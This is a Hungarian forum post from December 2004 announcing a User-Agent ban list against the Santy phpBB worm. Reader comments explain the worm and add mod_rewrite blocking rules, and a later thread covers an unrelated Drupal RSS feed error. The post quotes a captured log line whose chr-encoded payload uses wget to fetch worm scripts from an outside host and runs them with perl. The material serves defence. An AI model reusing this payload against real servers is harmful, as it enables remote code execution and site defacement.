Karácsony - banlist

Címkék

A járványszerű phpBB worm (highlight bug - távoli parancsfuttatás - sorozatos deface) miatt a mai naptól User Agent banlist került bevezetésre a HUP-on. Az ok: az elmúlt napokban olyan nagy mennyiségű exploit indult (többek között) a HUP ellen (is), amennyi a code red óta nem volt.

Az alábbi User Agent-ek a továbbiakban nemkívánatosak a HUP-on, a jutalom 403:Alexibot

asterias

BackDoorBot

Black.Hole

BlackWidow

BlowFish

Bot

BotALot

BuiltBotTough

Bullseye

BunnySlippers

Cegbfeieh

CheeseBot

CherryPicker

ChinaClaw

CopyRightCheck

cosmos

Crescent

Custo

DISCo

DittoSpyder

Download

eCatch

EirGrabber

EmailCollector

EmailSiphon

EmailWolf

EroCrawler

Express

ExtractorPro

EyeNetIE

FlashGet

Foobot

FrontPage

GetRight

GetWeb!

Go!Zilla

Go-Ahead-Got-It

GrabNet

Grafula

Harvest

hloader

HMView

lwp-trivial

HTTrack

humanlinks

ia_archiver

Image

Image

Indy

InfoNaviRobot

InterGET

Internet

JennyBot

JetCar

JOC

Kenjin.Spider

Keyword.Density

larbin

LeechFTP

LexiBot

libWeb/clsHTTP

LinkextractorPro

LinkScan/8.1a.Unix

LinkWalker

Mass

Mata.Hari

Microsoft.URL

MIDown

MIIxpc

Mister

moget

Mozilla/3.Mozilla/2.01

Mozilla.*NEWT

Navroad

NearSite

NetAnts

NetMechanic

NetSpider

Net

NetZIP

NICErsPRO

NPbot

Octopus

Offline

Offline

Openfind

PageGrabber

Papa

pavuk

pcBrowser

ProPowerBot/2.14

ProWebWalker

QueryN.Metasearch

RealDownload

ReGet

RepoMonkey

RMA

SiteSnagger

SlySearch

SmartDownload

SpankBot

spanner

SuperBot

SuperHTTP

Surfbot

suzuran

Szukacz/1.4

tAkeOut

Teleport

Telesoft

TurnitinBot/1.5

The.Intraformant

TheNomad

TightTwatBot

Titan

toCrawl/UrlDispatcher

True_Robot

turingos

URLy.Warning

VCI

VoidEYE

Web

Web

WebAuto

WebBandit

WebCopier

WebEMailExtrac.*

WebEnhancer

WebFetch

WebGo

Web.Image.Collector

WebLeacher

WebmasterWorldForumBot

WebReaper

WebSauger

Website

Website

Webster.Pro

WebStripper

WebWhacker

WebZIP

Widow

[Ww]eb[Bb]andit

WWWOFFLE

WWW-Collector-E

Xaldon

Xenu's

Zeus

Példa a próbálkozásra:

host.*.net - - [25/Dec/2004:22:39:51 +0100] "GET /modules.php?name=Forums&highlight=%2527%252esystem

(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr

(116)%252echr(109)%252echr(112)%252echr(59)%252echr

(119)%252echr(103)%252echr(101)%252echr(116)%252echr

(32)%252echr(119)%252echr(119)%252echr(119)%252echr

(46)%252echr(119)%252echr(101)%252echr(98)%252echr

(109)%252echr(97)%252echr(115)%252echr(116)%252echr

(101)%252echr(114)%252echr(45)%252echr(105)%252echr

(116)%252echr(46)%252echr(105)%252echr(116)%252echr

(47)%252echr(116)%252echr(101)%252echr(114)%252echr

(114)%252echr(111)%252echr(114)%252echr(98)%252echr

(111)%252echr(116)%252echr(46)%252echr(116)%252echr

(120)%252echr(116)%252echr(59)%252echr(112)%252echr

(101)%252echr(114)%252echr(108)%252echr(32)%252echr

(116)%252echr(101)%252echr(114)%252echr(114)%252echr

(111)%252echr(114)%252echr(98)%252echr(111)%252echr

(116)%252echr(46)%252echr(116)%252echr(120)%252echr

(116)%252echr(59)%252echr(119)%252echr(103)%252echr

(101)%252echr(116)%252echr(32)%252echr(119)%252echr

(119)%252echr(119)%252echr(46)%252echr(119)%252echr

(101)%252echr(98)%252echr(109)%252echr(97)%252echr

(115)%252echr(116)%252echr(101)%252echr(114)%252echr

(45)%252echr(105)%252echr(116)%252echr(46)%252echr

(105)%252echr(116)%252echr(47)%252echr(116)%252echr

(101)%252echr(114)%252echr(114)%252echr(111)%252echr

(114)%252echr(119)%252echr(111)%252echr(114)%252echr

(109)%252echr(46)%252echr(116)%252echr(120)%252echr

(116)%252echr(59)%252echr(112)%252echr(101)%252echr

(114)%252echr(108)%252echr(32)%252echr(116)%252echr

(101)%252echr(114)%252echr(114)%252echr(111)%252echr

(114)%252echr(119)%252echr(111)%252echr(114)%252echr

(109)%252echr(46)%252echr(116)%252echr(120)%252echr

(116))%252e%2527 HTTP/1.0" 403 213 "-" "lwp-trivial/1.41"

Ha valaki úgy érzi, hogy hibásan kap 403-as hibát, az írjon egy levelet a trey () hup ! hu címre!

Hozzászólások

Mester, szerinted aki 403-at kap, az hogy a turoban talalja ki, hogy veletlenul banlisten van? :)

Elnézést a lámaságomért, de szeretném megkérdezni, hogy ez mi a csuda? Mármint ez az egész, amit írtál, ez admin szempontjából hogyan jelentkezik? Egy csomó furcsa kérés van a portál felé, meg olyan, mint ha sokkal több felhasználó nézné az oldalt?

Egy másik kérdés:

Ez a valami érinti az xml-es hírlekérést? Mert mostanában nem tudom a híreket szedni a hup-ról, mert hibaüzenetet ad. A weblaborról és a linuxfórumról jön rendesen, de innen nem akar...

>Elnézést a lámaságomért, de szeretném megkérdezni, hogy ez mi a csuda? Mármint ez az egész, amit írtál, ez admin szempontjából hogyan jelentkezik?

A phpBB nevre hallgato forummotorban (a 2.0.11 verzio alatt) egy olyan bemeneti ellenorzes hiba van, amelyet ki lehet ugy hasznalni, hogy specialisan formazott HTML keressel paracsokat lehet futtatni azon a szerveren, amin a phpBB forum van. Valamelyik jofej irt egy olyan wormot ( Santy [www.sophos.com]), amelyik a Google-ban megkeresi a tamadhato oldalakat (Windows es Unix egyarant), a worm azt felnyomja, egy perl scriptet futtat a szerveren ami a DocRoot-ban letorli a HTM*, PHP*, ASP*, SHTM*, JSP* és PHTM* fileokat, majd atirja oket a kovetkezo tartalomra:

This site is defaced!!!

NeverEverNoSanity WebWorm generation #

(kep)

Sajnos ezzel nincs vege, mert a worm tovabball, es keresi a kovetkezo aldozatot. Az elmult par napban tobb 10.000 defacelt oldalrol beszelnek. A Google mar blokkolja a worm altal kuldott kereseket, de ennek ellenere rengeteg van. Azert, hogy a worm ne tudjon gondokat okozni, bizonyos User Agent-tel erkezo kereseket blokkoltam. A mostani worm (mivel egy perl script) a kovetkezo User Agent-tel nyomul: ``lwp-trivial/1.x"

Ha valaki ilyen User Agent-tel (vagy a listan szereplo barmelyikkel) probalja meg a HUP-ot olvasni, akkor 403-as (Forbidden You don't have permission to access / on this server.) hibat fog kapni. Ez egyszeruen letesztelheto: Firefoxban az User Agent switcher-rel letre kell hozni egy sajat User Agent-et, es a listan szereplo barmelyik User Agent-et kell hasznalni.

Persze ez nem valami nagy vedelem, hiszen a tamado barmikor meg tudja valtoztatni az User Agent-jet. Ez tulajdonkeppen csak az automatizalt wormok-ra, meg a spambotokra jo. A jobb megoldas valoszinuleg a Apache mod_security hasznalata lenne, amelyik az ilyen tavoli kodfuttatasi kiserleteket kepes eszlelni, es megakadalyozni.

>Egy csomó furcsa kérés van a portál felé, meg olyan, mint ha sokkal több felhasználó nézné az oldalt?

Nem feltetlenul, de egy rakas keres erkezik ``lwp-trivial/1.x", es ``LWP:Simple x.x'' User Agent-tel. Emellett egy rakas olyan probalkozas van, amelyik a ``highlight'', ``esystem'', ``echr'' stringeket tartalmazza (lasd cikkben a pelda). Grep-pelni kell az apache logokat.

Az User Agent-ekent kivul erdemes meg szurni az alabbiakat is:

RewriteCond %{QUERY_STRING} ^(.*)echr(.*) [OR]

RewriteCond %{QUERY_STRING} ^(.*)esystem(.*)

>Ez a valami érinti az xml-es hírlekérést? Mert mostanában nem tudom a híreket szedni a hup-ról, mert hibaüzenetet ad. A weblaborról és a linuxfórumról jön rendesen, de innen nem akar...

Ez attol fugg... Ha az XML leszedokednek olyan User Agent-je van, ami a listan szerepel, akkor erinti. Konnyen kideritheto, ha megadod levelben az IP cimet, a kereseid jonnek. Pontosan a robotok ellen van a banlist.

Elsosorban a hosting cegeknek fontos, hogy frissitsenek. Ugyanis a karacsony miatt ott most megall az elet, viszont amig nem szurik az ilyen kereseket es nem foltozzak be a lukakat, addig folyamatosan jonni fognak ezek a keresek. Talan ma megtobb van, mint tegnap...

On 2004-12-25, Micskó Gábor <trey@hup.hu> wrote:
>
> Az alábbi User Agent-ek a továbbiakban nemkívánatosak a HUP-on, a jutalom
> 403 [3]:

[...]

> Wget

A wget-tel mi a baj?

(En a wgetet amugy csomoszor hasznalom "hetkoznapi" letoltesre is: ha a
hosszunevu x konyvtarba akarok letolteni valamit, es tortenetesen van egy
shellem az x konyvtarban, akkor gyorsabb bekopipesztelni az url-t a shellbe
es eleirni egy wget-et, mint vegigmaszni a fajlvalaszto menun bongeszovel.)

Kicsit utanaolvasva a dolognak, a
http://www.securityfocus.com/bid/11672/discussion/ oldalon a kov.
megjegyzest talalhatni:

NOTE: This BID was previously retired, however, due to new information it is
being taken out of retirement. The vendor had claimed that it was not
exploitable, however a working exploit has been made available.

rotflol

Biztos van, de nekem a leggyorsabb mukodo megoldasnak a mod_rewrite + .htaccess tunt. A robotok / scriptek ellen jonak tunik. Egyebkent a Google is valami hasonlot csinal. Ha megprobalod ilyen Agent-tel hasznalni a Google-t, akkor a kovezkezo oldalt kapod:

Google

Forbidden

Your client does not have permission to get URL /search?q=regexp+tutorial&start=0&start=0&ie=utf-8&oe=utf-8&client=firefox-a&rls=org.mozilla:en-US:official from this server. (Client IP address: 81.182.104.22)

Please see Google's Terms of Service posted at http://www.google.com/terms_of_service.html

stb. stb.

trey mi a retekert ide php bb ?

Huh, hát az IP címemről fogalmam sincs... :(

Elmondom, hogy mi a gond. Az unidev-ről van szó. Amíg a 4.4.2 drupallal ment, addig nem volt gond, de most felraktam a 4.5.1-et, és ugyanazokkal a beállításokkal nem megy. A hibaüzenet a következő:

"HUP csatornán feldolgozási hiba: (. sor)"

A adminisztrációs naplóban:

"warning: xml_get_current_line_number(): supplied argument is not a valid XML Parser resource - /home/httpd/sites/unidev.hu/modules/aggregator.module - 462. sor.

warning: xml_get_error_code(): supplied argument is not a valid XML Parser resource - /home/httpd/sites/unidev.hu/modules/aggregator.module - 462. sor.

warning: xml_parse(): supplied argument is not a valid XML Parser resource - /home/httpd/sites/unidev.hu/modules/aggregator.module - 461. sor.

warning: xml_set_character_data_handler(): supplied argument is not a valid XML Parser resource - /home/httpd/sites/unidev.hu/modules/aggregator.module - 459. sor.

warning: strtr(): The second argument is not an array. - /home/httpd/sites/unidev.hu/includes/common.inc - 504. sor."

Nem tudom, hogy az új drupal moduljában van-e a hiba, vagy a HUP csatornán? Mert ugye a linuxforum és a weblabor rendesen megy. Persze az is hozzátartozik, hogy a HWSW és a Prohardver hírcsatornája sem működik ugyanezzel a hibával.

Írtam a drupal.hu-ra is, ott Goba szerint mennie kellene...

Hát elsőként a http://www.hup.hu/backend.php -t használtam, mert csak egy BOXot akartam csinálni, de aztán gondoltam, mivel ugyis lesz egy hírcsatornák rész, így a http://www.hup.hu/backend_ext.php -t fogom használni. Sajnos egyikkel sem megy. Gondolom nem, de az segít, ha megnézem a azt a mdul file-t:

#######

function aggregator_parse_feed(&$data, $feed) {

global $items, $image, $channel;

// Unset the global variables before we use them:

unset($GLOBALS['element'], $GLOBALS['item'], $GLOBALS['tag']);

$items = array();

$image = array();

$channel = array();

// parse the data:

$xml_parser = drupal_xml_parser_create($data);

xml_set_element_handler($xml_parser, 'aggregator_element_start', 'aggregator_element_end');

[459.sor ->]xml_set_character_data_handler($xml_parser, 'aggregator_element_data');

[461. sor ->] if (!xml_parse($xml_parser, $data, 1)) {

watchdog('error', t('Aggregator: failed to parse RSS feed %site: %error at line %line.', array('%site' => ''. $feed['title'] .'', '%error' => xml_error_string(xml_get_error_code($xml_parser)), '%line' => xml_get_current_line_number($xml_parser))));

drupal_set_message(t('Failed to parse RSS feed %site: %error at line %line.', array('%site' => ''. $feed['title'] .'', '%error' => xml_error_string(xml_get_error_code($xml_parser)), '%line' => xml_get_current_line_number($xml_parser))), 'error');

return 0;

}

xml_parser_free($xml_parser);

// initialize the translation table:

$tt = array_flip(get_html_translation_table(HTML_SPECIALCHARS));

$tt['''] = "'";

ÉS AKKOR MOST A 504.sor (nem kiabálás, csak hogy elkülönüljön):

/**

* Translate strings to the current locale.

*

* When using t(), try to put entire sentences and strings in one t() call.

* This makes it easier for translators. HTML markup within translation strings

* is acceptable, if necessary. The suggested syntax for a link embedded

* within a translation string is:

* @code

* $msg = t('You must log in below or create a new

* account
before viewing the next page.', array('%url'

* => url('user/register')));

* @endcode

* We suggest the same syntax for links to other sites. This makes it easy to

* change link URLs if needed (which happens often) without requiring updates

* to translations.

*

* @param $string

* A string containing the English string to translate.

* @param $args

* An associative array of replacements to make after translation. Incidences

* of any key in this array are replaced with the corresponding value.

* @return

* The translated string.

*/

function t($string, $args = 0) {

global $locale;

if (function_exists('locale') && $locale != 'en') {

$string = locale($string);

}

if (!$args) {

return $string;

}

else {

[504.sor ->] return strtr($string, $args);

}

}

NA, bocs, hogy ennyi kódot másoltam, de gondoltam hátha észreveszi valaki hozzáértő az esetleges hibát. Próba szerencse.

A drupal szindikacios reszevel vannak problemak. De mivel a www.debian.hu is drupal, es at tudja venni a hirfejleceket, nem hiszem, hogy a HUP-on van a hiba. A drupal forumban probald meg szerintem. Volt valamelyik drupal-ban ilyen problema, de azt fixaltak. Lehet, hogy egy egyszeru frissitessel helyrejon a baj. Eleg sokan hasznaljak a backend-eket, es nem jeleztek problemat rajtad kivul...

Úgy tudom, a debian.hu -t te tartod karban. Akkor lenne kérdésem. Az egyik: Amin neked bejön a hup backend-je, az a 4.5.1 -es drupal, ami a drupal.org főoldaláról letölthető? A másik: Mivel tényleg nem vagyok járatos a dologban, esetleg elég lehet valahonnan letölteni a legfrissebb (esetleg CVS-ből) az aggregator.module -t? Az nem zavarhatja meg a honlapot?